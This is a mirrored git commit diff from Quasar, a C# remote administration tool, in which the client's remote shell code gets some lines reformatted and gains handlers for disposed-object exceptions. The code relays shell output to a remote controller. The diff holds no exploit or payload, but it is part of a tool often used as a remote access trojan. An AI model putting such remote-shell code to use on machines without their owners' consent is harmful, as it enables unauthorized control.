mirror of https://github.com/quasar/Quasar.git
parent
d53430d790
commit
163c828fbc
|
@ -90,7 +90,8 @@ private void RedirectStandardOutput()
|
|||
if (!string.IsNullOrEmpty(read))
|
||||
{
|
||||
Thread.Sleep(200);
|
||||
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(Program.ConnectClient);
|
||||
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(
|
||||
Program.ConnectClient);
|
||||
}
|
||||
|
||||
redirectOutputEvent.Reset();
|
||||
|
@ -100,6 +101,10 @@ private void RedirectStandardOutput()
|
|||
if ((_prc == null || _prc.HasExited) && _read)
|
||||
throw new ApplicationException("session unexpectedly closed");
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
// just exit
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (ex is ApplicationException || ex is InvalidOperationException)
|
||||
|
@ -132,7 +137,8 @@ private void RedirectStandardError()
|
|||
if (!string.IsNullOrEmpty(read))
|
||||
{
|
||||
Thread.Sleep(200);
|
||||
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine, true).Execute(Program.ConnectClient);
|
||||
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine, true).Execute(
|
||||
Program.ConnectClient);
|
||||
}
|
||||
|
||||
redirectStandardErrorEvent.Set();
|
||||
|
@ -142,6 +148,10 @@ private void RedirectStandardError()
|
|||
if ((_prc == null || _prc.HasExited) && _read)
|
||||
throw new ApplicationException("session unexpectedly closed");
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
// just exit
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (ex is ApplicationException || ex is InvalidOperationException)
|
||||
|
|
Loading…
Reference in New Issue